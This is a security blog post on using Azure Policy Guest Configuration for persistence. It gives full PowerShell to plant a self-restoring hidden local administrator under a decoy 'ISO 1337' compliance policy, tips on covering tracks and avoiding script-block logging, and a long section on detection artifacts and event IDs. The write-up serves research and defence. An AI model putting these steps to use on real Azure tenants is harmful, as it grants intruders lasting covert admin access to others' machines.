Inhalt

Persistence with Azure Policy Guest Configuration

Azure Policy enables administrators to define, enforce and remediate configuration standards on Azure resources and even on non Azure assets using Azure Arc. One key feature, that was released in 2021, is the guest configuration feature of Azure Policy.

Basically, this is the new implementation of Azure Automation State Configuration or as it is widely known PowerShell Desired State Configuration (DSC). Microsoft states this on the product page very clearly.

Zitat
Before you enable Automation State Configuration, we would like you to know that a newer version of DSC is now available in preview, managed by a feature of Azure Policy named guest configuration.

As demonstrated by Jake Karnes (@jakekarnes42) in his blog post Azure Persistence with Desired State Configurations you can use this functionality to gain persistence in an Azure environment if you have gained the necessary permissions within the subscription. And since Azure VMs are in many cases directly integrated in the on-Premises Active Directory it is possible to gain additional access there.

Now with the public preview of Azure Policy Guest Configuration lets revisit this topic and see what an attacker could do with it and how you can detect those changes. The goal is to create a local administrative user starting with access to the subscription level.

TL;DR
If you don’t want to read about what DSC is and how Azure Policy Guest Configuration is different skip the next section and start here.

What is DSC

Desired State Configuration is used to manage your infrastructure configuration as code. Therefore the configuration and execution is split in two.

  • Configurations
    A declarative PowerShell script that defines how something should be configured. It allows to define dependencies and relies on resources to actually implement those changes.
  • Resources
    One or more script functions that implement the automation. Those functions do the heavy lifting and apply the written configurations to the operating system or application.

One simple example would be to install the IIS role on a Windows server. The configuration describes which Windows features should be enabled.

Configuration MyDscConfiguration {
    Import-DscResource -ModuleName 'PSDscResources'
    WindowsFeature MyWebService {
        Name = "Web-Server"
        Ensure = "Present"
    }

    WindowsFeature WindowsAuthentication {
        Name   = "Web-Windows-Auth"
        Ensure = "Present"
    }

}

There is no mention on how this should be archived. This is part of the PSDscResources resource which you can find on GitHub.

In this script you will find a Get-TargetResource, Set-TargetResource and Test-TargetResource function.

  • Get-TargetResource
    This function checks and returns the current configuration state of the server
  • Set-TargetResource
    To apply the target configuration this function is used. It will do everything necessary to change the system configuration to represent the defined configuration.
  • Test-TargetResource
    To ensure that the configuration was applied correctly the test function is used. Later on, this is used to verify that the configuration is still applied and if not, it can be automatically remediated.

Evolution of DSC

Now let’s buckle up for a brief history lesson on DSC 2.0 aka Azure Policy Guest Configuration.

DSC was a core feature of Windows PowerShell since it was released in 2013 alongside Windows PowerShell 4.0. It relied heavily on WMI and was Windows only. The core agent which is needed to apply the configuration and execute the resources, the Local Configuration Manager (LCM), was an integrated part of Windows PowerShell.

In May 2015 Microsoft released the first version of PowerShell DSC for Linux. To break the reliance to WMI this implementation was based on OMI. There were just 10 initial resources at this point.

Azure DSC, a core part of Azure Automation, was released in January of 2016.

PowerShell Core was first announced on 18th of August 2016. The first alpha was from February the same year and was named “Open PowerShell”.

In September of 2017 DSC Core was teased alongside with cross platform support for Linux on a common codebase since it would rely on PowerShell Core.

A few months later, in January 2018, Microsoft published the news that the LCM will be open sourced.

In September the same year the team announced that Guest configuration is coming to Azure Policy and the open sourcing of the components is delayed.

Azure Policy Guest Configuration aka DSC 2.0 was finally released in June of 2019. As the blog post makes it clear, this is not the DSC we knew until now. It relies on PowerShell Core and therefore works independently of the Windows DSC feature. But at the beginning this feature was read only. It was not possible to apply new configuration to a machine using this.

This changed in August 2021 when Microsoft published the public preview to “Apply settings inside machines using Azure Policy’s guest configuration

Azure Policy Guest Configuration Architecture

Michael Greene (@migreene) did a great writeup on how this all works behind the scenes.

I try to condense the information for this blog post. If you want more information, please read the two blog posts and/or watch the video first.

Server

The old DSC relied on a DSC Pull Webservice that was either implemented on-premises or you used Azure Automation DSC.

The new Azure Policy Guest Configuration feature needs a new client (LCM) installed within the VM. This is done via the guest configuration extension and will be applied through an Azure Policy.

All configuration data is saved in a Cosmos database, which is not directly accessible for the enduser. For your own guest configurations this is not 100% true, they are stored on something like a storage account.

The guest agent service is a web service which is contacted by the LCM on the VM to either check if new configuration information is present or to report the results back to the service.

/azure-persistence-azure-policy-guest-configuration/images/AzurePolicyGuestConfigurationServer.png

Client

Since this feature relies on a client inside of the virtual machine a vm guest extension is installed. It is called Microsoft.GuestConfiguration.ConfigurationforWindow or Microsoft.GuestConfiguration.ConfigurationforLinux depending on the operating system.

Binaries

The binaries are stored in the following paths

Windows: C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\1.29.33.0\dsc\GC\

/azure-persistence-azure-policy-guest-configuration/images/Microsoft.GuestConfiguration.ConfigurationforWindows.png

Linux: /var/lib/waagent/Microsoft.GuestConfiguration.ConfigurationforLinux-1.25.5/GCAgent/GC/

/azure-persistence-azure-policy-guest-configuration/images/Microsoft.GuestConfiguration.ConfigurationforLinux.png

The version parameter can change.

Notiz

Bonus: You will find a current PowerShell Core binary in this folder as well. And this instance of PowerShell Core is not registered with the event provider in Windows. This result in no script block logging when using this binary and makes it harder to detect and analyze attacks made using this PowerShell environment.

/azure-persistence-azure-policy-guest-configuration/images/pwsh.png

Configuration

The configuration is saved in the following directories

Windows: C:\ProgramData\GuestConfig\Configuration\

Linux: /var/lib/GuestConfig/Configuration

Persistence through Azure Policies

Now that we are caught up on DSC and Azure Policy Guest Configuration (GCS) lets start our journey.

Requirements for GCS

You need the owner access role on the targeted Azure Subscription to apply the Azure Policy and grant permissions for the system-managed identities.

The following requirements will be deployed in the course of the demo but are a good indicator for troubleshooting:

  • Register resource provider Microsoft.GuestConfiguration
Register-AzResourceProvider -ProviderNamespace Microsoft.GuestConfiguration
  • The vms must have a system-managed identity
  • The guest configuration extension must be enabled
    On Azure Arc connected machines this extension is enabled by default

Deploy the guest configuration extension

Warnung
If you want to follow along please do, but be aware that this first step is only to demonstrate the usage of one particular Azure Policy definition. Later on we will explore an even better way to deploy the necessary configuration changes.

First, we want to make sure that the necessary guest configuration extension is deployed to all machines. In this example I will assign the policy definition to a resource group named AzurePolicy.

$ResourceGroup = Get-AzResourceGroup -Name "AzurePolicy"
# Policy 385f5831-96d4-41db-9a3c-cd3af78aaae6
# | ?  { $_.Properties.DisplayName -match "Deploy the Windows Guest Configuration extension to enable Guest Configuration assignments on Windows VMs" }
$Definition = Get-AzPolicyDefinition -Name 385f5831-96d4-41db-9a3c-cd3af78aaae6 # Deploy the Windows Guest Configuration extension to enable Guest Configuration assignments on Windows VMs
$Assignment = New-AzPolicyAssignment -Name 'deployWinGuestExtension' -DisplayName 'Deploy the Windows Guest Configuration extension to enable Guest Configuration assignments on Windows VMs' -Scope $ResourceGroup.ResourceId -PolicyDefinition $Definition -EnforcementMode Default -IdentityType SystemAssigned -Location 'West Europe'

# Grant defined roles with PowerShell
# https://docs.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#grant-defined-roles-with-PowerShell
$roleDefinitionIds = $Definition.Properties.policyRule.then.details.roleDefinitionIds
Start-Sleep 15
if ($roleDefinitionIds.Count -gt 0)
{
    $roleDefinitionIds | ForEach-Object {
        $roleDefId = $_.Split("/") | Select-Object -Last 1
        New-AzRoleAssignment -Scope $resourceGroup.ResourceId -ObjectId $Assignment.Identity.PrincipalId -RoleDefinitionId $roleDefId
    }
}

Get-AzPolicyAssignment -IncludeDescendent

Start-AzPolicyRemediation -Name 'deployWinGuestExtension' -PolicyAssignmentId $Assignment.PolicyAssignmentId -ResourceGroupName $ResourceGroup.ResourceGroupName

/azure-persistence-azure-policy-guest-configuration/images/New-AzPolicyAssignmentWindows.png

Afterwards you can check if the policy was applied to the scope using PowerShell or the Azure Portal.

/azure-persistence-azure-policy-guest-configuration/images/Get-AzPolicyAssignment.png

/azure-persistence-azure-policy-guest-configuration/images/AssignedPolicies.png

To list all policy definitions with “Guest Configuration” in the name use this command

Get-AzPolicyDefinition | ? { $_.Properties.DisplayName -match "Guest Configuration" } | Select Name, @{n="DisplayName";e={$_.Properties.DisplayName}}

Enable system assigned managed identity on target machines

The next step is to enable a system assigned managed identity on all target machines.

You could do this by using a script…

$vm = Get-AzVM -ResourceGroupName AzurePolicy -Name winguest
Update-AzVM -ResourceGroupName AzurePolicy -VM $vm -IdentityType SystemAssigned

…but the better way is to do this using a policy definition.

Get-AzPolicyDefinition | ?  { $_.Properties.DisplayName -match "Add system-assigned managed identity to enable Guest Configuration"} | Select Name, @{n="DisplayName";e={$_.Properties.DisplayName}}

/azure-persistence-azure-policy-guest-configuration/images/AddMSIUsingAzurePolicy.png

And because we don’t want to have multiple policy definitions assigned lets take a look at Azure Policy Initiatives.

Use initiative definitions

An initiative definition is a set of policy definitions grouped together. This allows you to easily assign multiple policies to one scope. In our case the built-in initiative is called “Deploy prerequisites to enable guest configuration policies on virtual machines” and it contains four policy definitions.

$PolicyIni = Get-AzPolicySetDefinition | ?  { $_.Properties.DisplayName -match "Deploy prerequisites to enable guest configuration policies on virtual machines"}
$PolicyIni.Properties.PolicyDefinitions

/azure-persistence-azure-policy-guest-configuration/images/PolicyInitiative.png

  • Prerequisite_AddSystemIdentityWhenNone
  • Prerequisite_AddSystemIdentityWhenUser
  • Prerequisite_DeployExtensionWindows
  • Prerequisite_DeployExtensionLinux

As the names imply this one initiative does all the work for us. It will deploy the necessary vm extensions and enable the system assigned managed identity on all VMs in scope of the policy.

This is a much better fit for an attacker to keep a low profile because this initiative would be used by customers as well.

If you already deployed the policy definition manually first delete it and remove the role assignment (not shown).

Get-AzPolicyAssignment -IncludeDescendent | ? Name -eq "deployWinGuestExtension" | Remove-AzPolicyAssignment

Next apply the initiative definition to the same scope, create a new role assignment for the system assigned managed identity and start the remediation process. Since remediation cannot be started for the initiative itself, it has to be started for each and every policy definition that is part of the initiative.

$ResourceGroup = Get-AzResourceGroup -Name "AzurePolicy"
$Definition = Get-AzPolicySetDefinition -Name 12794019-7a00-42cf-95c2-882eed337cc8 # Deploy prerequisites to enable guest configuration policies on virtual machines
$Assignment = New-AzPolicyAssignment -Name 'deployPrerequisitesForGuestConfigurationPolicies' -DisplayName 'Deploy prerequisites to enable guest configuration policies on virtual machines' -Scope $ResourceGroup.ResourceId -PolicySetDefinition $Definition -EnforcementMode Default -IdentityType SystemAssigned -Location 'West Europe'

# Grant defined roles with PowerShell
$roleDefinitionIds = $Definition.Properties.PolicyDefinitions | % {  Get-AzPolicyDefinition -Id $_.policyDefinitionId | Select @{n="roleDefinitionIds";e={$_.Properties.policyRule.then.details.roleDefinitionIds}} } | Select-Object -ExpandProperty roleDefinitionIds -Unique
Start-Sleep 15
if ($roleDefinitionIds.Count -gt 0)
{
    $roleDefinitionIds | ForEach-Object {
        $roleDefId = $_.Split("/") | Select-Object -Last 1
        New-AzRoleAssignment -Scope $resourceGroup.ResourceId -ObjectId $Assignment.Identity.PrincipalId -RoleDefinitionId $roleDefId
    }
}

# Start remediation for every policy definition
$Definition.Properties.PolicyDefinitions | % {
  Start-AzPolicyRemediation -Name $_.policyDefinitionReferenceId -PolicyAssignmentId $Assignment.PolicyAssignmentId -PolicyDefinitionReferenceId $_.policyDefinitionId -ResourceGroupName $ResourceGroup.ResourceGroupName -ResourceDiscoveryMode ReEvaluateCompliance
}

After a little while the compliance results are displayed in the portal. In this case two machines where successfully scanned for compliance and any compliance mismatch was remediated.

/azure-persistence-azure-policy-guest-configuration/images/PolicyInitiativeCompliant.png

Even for newly created machines this policy initiative is applied, and the system managed identity is enabled, and the extension is deployed.

/azure-persistence-azure-policy-guest-configuration/images/SystemAssignedManagedIdentity.png

/azure-persistence-azure-policy-guest-configuration/images/VMExtension2.png

If you want to force an update on the compliance result you can use the following cmdlet instead of waiting for the next trigger.

Start-AzPolicyComplianceScan -ResourceGroupName 'AzurePolicy'

Create a custom guest configuration policy

The next step is to create our own ill intended guest configuration. In this example I wrote a configuration that will create a local user with a known password and add it to the local administrators group.

There is a lengthy article on how to setup a guest configuration authoring environment but basically it is a two step process on Windows

  1. Install PowerShell Core on your machine or use Cloud Shell in PowerShell mode.
  2. Install the following modules GuestConfiguration, PSDesiredStateConfiguration and PSDscResources
Install-Module -Name 'GuestConfiguration','PSDesiredStateConfiguration','PSDscResources'

DSC configuration file

Save the following DSC configuration as HiddenAdmin.ps1 on your machine.

Configuration CreateAdminUser
{
    param (
        [System.Management.Automation.PSCredential]
        $PasswordCredential
    )

    Import-DscResource -ModuleName 'PSDscResources'

    node localhost
    {
        User AdminUser {
            Ensure   = 'Present'
            UserName = 'MyEvilAdminUser'
            Password = $PasswordCredential
        }


        GroupSet AddUserToAdminGroup {
            GroupName        = @( 'Administrators' )
            Ensure           = 'Present'
            MembersToInclude = @( 'MyEvilAdminUser' )
# https://github.com/dsccommunity/xPSDesiredStateConfiguration/issues/400            
#            DependsOn        = '[User]AdminUser'
        }
    }
}

$ConfigurationData = @{
    AllNodes = @(
        @{
            NodeName                    = 'localhost'
            PSDscAllowPlainTextPassword = $true
        }
    )
}

$Credentials = Get-Credential -UserName MyEvilAdminUser
CreateAdminUser -PasswordCredential $Credentials -ConfigurationData $ConfigurationData

This configuration will be used to create a Managed Object Format (MOF) file that is later used by the DSC engine to do our bidding.

As the keen reader might already have seen, I commented out the DependsOn part of the AddUserToAdminGroup block. This is because there is currently a bug in the codebase that prevents you from using this.

Otherwise the configuration is straight forward. When the configuration is applied a user called MyEvilAdminUser is created with a password that can be defined when creating the package. This user itself will then be added to the local group Administrators.

Notiz
The password will be written to the mof file in clear text. Do not use this to store secrets in here. Encryption is (currently?) not available.

Create a guest config package

To generate the mof file just execute the script HiddenAdmin.ps1, choose a password and voila the mof file is created.

# Create mof file for DSC
.\HiddenAdmin.ps1

This mof file now has to be packaged. The cmdlet New-GuestConfigurationPackage does the heavy lifting for us and creates a zip file with all necessary components included. The parameter Type must be set to AuditAndSet, otherwise it would not create the user as intended and just audit if the user is present.

# Create a guest configuration package for Azure Policy GCS
New-GuestConfigurationPackage `
  -Name 'ISO1773' `
  -Configuration './CreateAdminUser/localhost.mof' `
  -Type AuditAndSet  `
  -Force

/azure-persistence-azure-policy-guest-configuration/images/guestConfigurationAuthoringEnvironment.png

Publish the configuration

I switched to the Cloud Shell and uploaded the ISO1773.zip file. You can execute all those commands in a local PowerShell as well, but then you will have to connect to Azure and install the Az module first.

Install the GuestConfiguration module if you are using the Cloud Shell, since it is not a default module in this environment.

Install-Module GuestConfiguration

A storage account is needed that will be used to publish the guest configuration package. Every client will request the configuration data from this storage account. Since we are attacking Azure VMs the firewalls rules that are needed to access Azure storage accounts are most likely already in place. If you don’t want to host the file within the attacked environment, you could use a completely different subscription.

Inside of the storage account create a blob storage container.

# Create a storage account with a random name and a storage container
$StorageAccountName = "azurepolicycfg$(Get-Random)"
New-AzStorageAccount -ResourceGroupName AzurePolicy -Name $StorageAccountName -SkuName 'Standard_LRS' -Location 'West Europe' | New-AzStorageContainer -Name guestconfiguration -Permission Blob

Using the Publish-GuestConfigurationPackage you upload the ISO1773.zip to the storage container and in return you will get an SAS Uri that will be needed for the clients to access the file. This prevents unauthorized access to the file.

Having all this information you now can create a guest configuration policy. The important bit here is that you use the mode ApplyAndAutoCorrect, have a GUID, the correct ContentURI and some nice name for your policy.

This will create a folder including all needed configuration that you can publish to Azure.

# Publish the guest configuration package (zip) to the storage account
$ContentURI = Publish-GuestConfigurationPackage -Path './ISO1773.zip' -ResourceGroupName AzurePolicy -StorageAccountName $StorageAccountName -Force | Select-Object -Expand ContentUri
# Create a Policy Id
$PolicyId = $(New-GUID)
# Define the parameters to create and publish the guest configuration policy
$Params = @{
  "PolicyId" =  $PolicyId
  "ContentUri" =  $ContentURI
  "DisplayName" =  'ISO 1337'
  "Description" =  'Make sure all servers comply with ISO 1337'
  "Path" =  './policies'
  "Platform" =  'Windows'
  "Version" =  '1.0.1'
  "Mode" =  'ApplyAndAutoCorrect'
  "Verbose" = $true
}
# Create the guest configuration policy
New-GuestConfigurationPolicy @Params
# Publish the guest configuration policy
Publish-GuestConfigurationPolicy -Path './policies'

This new policy has to be applied to the targeted scope. In my case this will be a resource group. To apply the policy definition, we use the same method as for the initiative. This means you must create a new policy assignment, grant the correct permissions to the system assigned managed identity and start the policy remediation.

Since the used initiative is a built-in one, we cannot include our malicious policy directly in there. Should there already be on in place, you could just add your policy definition to the initiative and start the remediation for it.

$ResourceGroup = Get-AzResourceGroup -Name "AzurePolicy"
# $PolicyId = "0ad52941-d75c-4eaa-b092-10f93c354d04"
$Definition = Get-AzPolicyDefinition -Name $PolicyId
$Assignment = New-AzPolicyAssignment -Name 'ISO1337' -DisplayName 'Make sure all Windows servers comply with ISO 1337' -Scope $ResourceGroup.ResourceId -PolicyDefinition $Definition -EnforcementMode Default -IdentityType SystemAssigned -Location 'West Europe'
# Grant defined roles with PowerShell
# https://docs.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#grant-defined-roles-with-PowerShell
$roleDefinitionIds = $Definition.Properties.policyRule.then.details.roleDefinitionIds
Start-Sleep 15
if ($roleDefinitionIds.Count -gt 0)
{
    $roleDefinitionIds | ForEach-Object {
        $roleDefId = $_.Split("/") | Select-Object -Last 1
        New-AzRoleAssignment -Scope $resourceGroup.ResourceId -ObjectId $Assignment.Identity.PrincipalId -RoleDefinitionId $roleDefId
    }
}
Start-AzPolicyRemediation -Name 'deployWinGuestExtension' -PolicyAssignmentId $Assignment.PolicyAssignmentId -ResourceGroupName $ResourceGroup.ResourceGroupName -ResourceDiscoveryMode ReEvaluateCompliance

Profit

That is it, everything is in place.

After the guest configuration is successfully applied to the machine and executed you now can log-in using the newly created user.

/azure-persistence-azure-policy-guest-configuration/images/EvilUserLoggedIn.png

/azure-persistence-azure-policy-guest-configuration/images/LocalUserAdded.png

And from the Azure portal we now also are fully compliant with ISO 1337 😉

/azure-persistence-azure-policy-guest-configuration/images/CompliantMaliciousPolicy.png

Include Arc connected servers

If you would like to target Azure Arc machines, which are servers in any other cloud environment or on-premises, you need to change the parameter IncludeArcMachines in your policy to true. This was out of scope of my test environment.

Persistence of configuration

One key feature of DSC is to automatically correct wrong or missing configurations on the target system. In our case this means that even after the account is manually deleted it will be recreated. The Azure Policy has to be removed before the configuration will no longer be applied.

This automatic remediation will be triggered through the local configuration manager (LCM). The interval for this task is set to 15 minutes.

Timestamp Action
04.01.2022 10:02:58 PM Account deleted manually
04.01.2020 10:16:00 PM Account created automatically

/azure-persistence-azure-policy-guest-configuration/images/Event-Security-4726.png

/azure-persistence-azure-policy-guest-configuration/images/Event-Security-4720-Persistence.png

Cover you tracks

If you remove the policy assignment after this attack the configuration changes will still be in place. The vm extension will not be automatically removed.

Should you delete the vm extension as well the Guest Configuration Service will be removed, but the configuration changes on the virtual machine are not touched. But the changes will also not be re-applied if they are manually mitigated.

But since there is no indication of what was changed other that the later mentioned artifacts, it makes it hard for the defender to clean the system if a RAT was deployed or the changes where not logged by the system.

Detection and Artifacts

As any change, this method leaves a trail of artifacts and indicators in many places on the computer as well as in Azure.

Azure Activity Logs

Subscription

For the initiative you will see the following activities in the log on subscription level.

/azure-persistence-azure-policy-guest-configuration/images/ActivityLogs-Initiative.png

  • Microsoft.Authorization/policyassignments/write
  • Microsoft.Authorization/roleAssignments/write
  • Microsoft.PolicyInsights/remediations/write

For the single policy it looks almost the same

/azure-persistence-azure-policy-guest-configuration/images/ActivityLogs.png

  • Microsoft.Authorization/policyassignments/write
  • Microsoft.Authorization/roleAssignments/write
  • Microsoft.PolicyInsights/remediations/write
Operation Name Create or Update Microsoft Policy remediations
Action Microsoft.PolicyInsights/remediations/write

/azure-persistence-azure-policy-guest-configuration/images/Microsoft.PolicyInsights-remediations-write.png

Operation Name Create role assignments
Action Microsoft.Authorization/roleAssignments/write

/azure-persistence-azure-policy-guest-configuration/images/Microsoft.Authorization-roleAssignments-write.png

Virtual machine

On the virtual machine itself you will find the activity Microsoft.Resources/checkPolicyCompliance/read followed by Microsoft.GuestConfiguration/guestConfigurationAssignments/write.

This action is grouped under one operation and checks if the needed configuration is already applied and if not start the deployment of the policy.

Operation Name ‘deployIfNotExists’ Policy action.
Action Microsoft.Resources/checkPolicyCompliance/read
Operation Name Write GuestConfigurationAssignments
Action Microsoft.GuestConfiguration/guestConfigurationAssignments/write

/azure-persistence-azure-policy-guest-configuration/images/deployIfNotExists.png

Looking into the json data you can also see the policy assignment by name policyAssignments/ISO1337/

"properties": {
        "isComplianceCheck": "False",
        "resourceLocation": "westeurope",
        "ancestors": "vse-mpn,f1020a18-6a75-42d5-b377-76116046006f",
        "policies": "[{\"policyDefinitionId\":\"/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/providers/Microsoft.Authorization/policyDefinitions/51aef900-2291-41db-86a2-cd0798e07c4f/\",\"policyDefinitionName\":\"51aef900-2291-41db-86a2-cd0798e07c4f\",\"policyDefinitionEffect\":\"deployIfNotExists\",\"policyAssignmentId\":\"/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/AzurePolicy/providers/Microsoft.Authorization/policyAssignments/ISO1337/\",\"policyAssignmentName\":\"ISO1337\",\"policyAssignmentScope\":\"/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/AzurePolicy\",\"policyExemptionIds\":[]}]",
        "deploymentId": "/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/azurepolicy/providers/Microsoft.Resources/deployments/PolicyDeployment_5311463959926987774",
        "eventCategory": "Policy",
        "entity": "/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/azurepolicy/providers/Microsoft.Compute/virtualMachines/winguest1",
        "message": "Microsoft.Authorization/policies/deployIfNotExists/action",
        "hierarchy": ""
    }

The other operation that has many sub-operations is called “Create or Update Virtual Machine Extension” Microsoft.Compute/virtualMachines/extensions/write

/azure-persistence-azure-policy-guest-configuration/images/CreateOrUpdateVirtualMachineExtension.png

I do not list all operations because they are mostly the same as we have seen before.

Deployment

The remediation task creates a deployment within the resource group of the vm.

/azure-persistence-azure-policy-guest-configuration/images/DeploymentTask.png

Role assignments

Both the initiative and the policy definition need a system managed identity which has to have permission on the resource group, subscription or management group it scopes to.

/azure-persistence-azure-policy-guest-configuration/images/RoleAssignmentForPolicyRemediation.png

Configuration Extension

To apply the needed changes a vm extension is installed and it is easy to spot in the Azure portal. Since this extension can also be used for legitimate purpose it is a weak indicator.

/azure-persistence-azure-policy-guest-configuration/images/VMExtension.png

Event Log

The event log is very informative about almost every action I did inside of the guest.

Guest Configuration Agent installation

LogName Windows PowerShell
Source PowerShell (PowerShell)
EventID 600
EventData -contains C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy RemoteSigned -File C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\1.29.33.0\bin\install.ps1

/azure-persistence-azure-policy-guest-configuration/images/Event-WindowsPowerShell-600.png

Guest Configuration Service created

LogName System
Source Service Control Manager
EventID 7045
EventData A service was installed in the system.

Service Name: Guest Configuration Service
Service File Name: C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\1.29.33.0\dsc\GC\gc_service.exe -k netsvcs
Service Type: user mode service
Service Start Type: auto start
Service Account: LocalSystem

/azure-persistence-azure-policy-guest-configuration/images/Event-System-7045-gcs.png

Guest Configuration Service service started

LogName System
Source Service Control Manager
EventID 7036
EventData The Guest Configuration Service service entered the running state.

/azure-persistence-azure-policy-guest-configuration/images/Event-System-7036-gcs.png

Account creation

LogName Security
Source Microsoft Windows security
EventID 4720
EventData A user account was created.

/azure-persistence-azure-policy-guest-configuration/images/Event-Security-4720.png

Account enabled

LogName Security
Source Microsoft Windows security
EventID 4722
EventData A user account was enabled.

/azure-persistence-azure-policy-guest-configuration/images/Event-Security-4722.png

Addition to local admin group

LogName Security
Source Microsoft Windows security
EventID 4728
EventData A member was added to a security-enabled global group.

/azure-persistence-azure-policy-guest-configuration/images/Event-Security-4728.png

PowerShell Script Block DSC Azure extension

LogName Microsoft-Windows-PowerShell/Operational
Source PowerShell (Microsoft-Windows-PowerShell)
EventID 4104
EventData Generic utilities for the DSC Azure extension […]

/azure-persistence-azure-policy-guest-configuration/images/Event-MicrosoftWindowsPowerShellOperational-4104.png

Service

The installed service is called GCService, short for Guest Configuration Service and is running as LocalSystem. All configuration tasks will be executed using this service.

Get-Service GCService | fl *

/azure-persistence-azure-policy-guest-configuration/images/GCService.png

Certificates

There will be two certificates in the certificate store DSCPolicyStore of the local machine.

Get-ChildItem Cert:\LocalMachine\DSCPolicyStore\* | Select Subject,Thumbprint,DnsNameList,EnhancedKeyUsageList,Issuer,NotBefore,NotAfter

/azure-persistence-azure-policy-guest-configuration/images/Cert-DSCPolicyStore.png

gc_agent_logs

Filepath: C:\ProgramData\GuestConfig\gc_agent_logs\gc_agent.log

The guest configuration agent writes extensive logging to this file. I highlighted some key parts.

Download of the guest configuration package from the Azure storage account and extracting the configuration to C:\ProgramData\GuestConfig\downloads\ISO 1773

77
78
79
80
81
82
83
84
85
86
[2022-01-04 21:43:47.175] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Processing 'Custom' assignment : 'ISO 1773'.
[2022-01-04 21:43:47.175] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Download assignment package for : ISO 1773 from public blob
[2022-01-04 21:43:47.175] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Downloading package to C:\ProgramData\GuestConfig\downloads\ISO 1773.zip location from https://azurepolicycfg[redacted].blob.core.windows.net/guestconfiguration/ISO1773.zip?sv=2020-08-04&st=2022-01-03T14%3A58%3A53Z&se=2025-01-03T14%3A58%3A53Z&sr=b&sp=rl&sig=[redacted] uri.
[2022-01-04 21:43:47.176] [PID 3248] [TID 3952] [PROXY_INFO] [INFO] [00000000-0000-0000-0000-000000000000] No proxy settings used. Proxy settings from 'https_proxy' env. variable are empty.
[2022-01-04 21:43:47.176] [PID 3248] [TID 3952] [PROXY_INFO] [INFO] [00000000-0000-0000-0000-000000000000] No proxy settings used. Proxy settings from 'https_proxy' env. variable are empty.
[2022-01-04 21:43:47.335] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Unzipping package C:\ProgramData\GuestConfig\downloads\ISO 1773.zip to C:\ProgramData\GuestConfig\downloads\ISO 1773 location.
[2022-01-04 21:43:49.563] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Assignment validated.
[2022-01-04 21:43:49.563] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] assignment_mof_file_path:C:\ProgramData\GuestConfig\downloads\ISO 1773\ISO 1773.mof
[2022-01-04 21:43:49.563] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Saving meta configuration to C:\ProgramData\GuestConfig\downloads\ISO 1773\ISO 1773.metaconfig.json.
[2022-01-04 21:43:49.563] [PID 3248] [TID 3952] [Pull Client] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Saving assignment hash for ISO 1773 assignment to C:\ProgramData\GuestConfig\downloads\ISO 1773 location.

Publish the new configuration assignment and setting the enforcement of the configuration to true.

551
552
553
554
555
556
557
558
559
560
[2022-01-04 21:43:53.128] [PID 3248] [TID 3952] [Assignment Manager] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] New assignment 'ISO 1773' received.
[2022-01-04 21:43:53.128] [PID 3248] [TID 3952] [Assignment Manager] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publishing assignment 'ISO 1773' from path 'C:\ProgramData\GuestConfig\downloads\ISO 1773'
[2022-01-04 21:43:53.128] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publishing modules : configuration_name = ISO 1773, source_path = C:\ProgramData\GuestConfig\downloads\ISO 1773
[2022-01-04 21:43:54.963] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publish modules completed successfully.
[2022-01-04 21:43:54.965] [PID 3248] [TID 3952] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job {66ADCC0C-6DA7-11EC-BFC0-000D3AADC1E2} : LCM has released the resource state cache.
[2022-01-04 21:43:54.965] [PID 3248] [TID 3952] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job {66ADCC0C-6DA7-11EC-BFC0-000D3AADC1E2} : Reading agent registration information from ('C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\1.29.33.0\dsc\GC\..\\GC\PullServiceRegistrationInfo\RegistrationInfo.txt')
[2022-01-04 21:43:54.965] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Applying Meta Configuration : assignment_name = ISO 1773, p_assignment_path = C:\ProgramData\GuestConfig\downloads\ISO 1773
[2022-01-04 21:43:54.965] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Changing Local Configuration Manager settings : configuration_name = ISO 1773, force = true
[2022-01-04 21:43:55.474] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Operation Set-DscLocalConfigurationManager -Force started by user sid null from computer null.
[2022-01-04 21:43:55.474] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Deleting file from C:\ProgramData\GuestConfig\Configuration\ISO 1773\\DSCEngineCache.mof

Apply the configuration defined in the mof file.

580
581
582
583
584
585
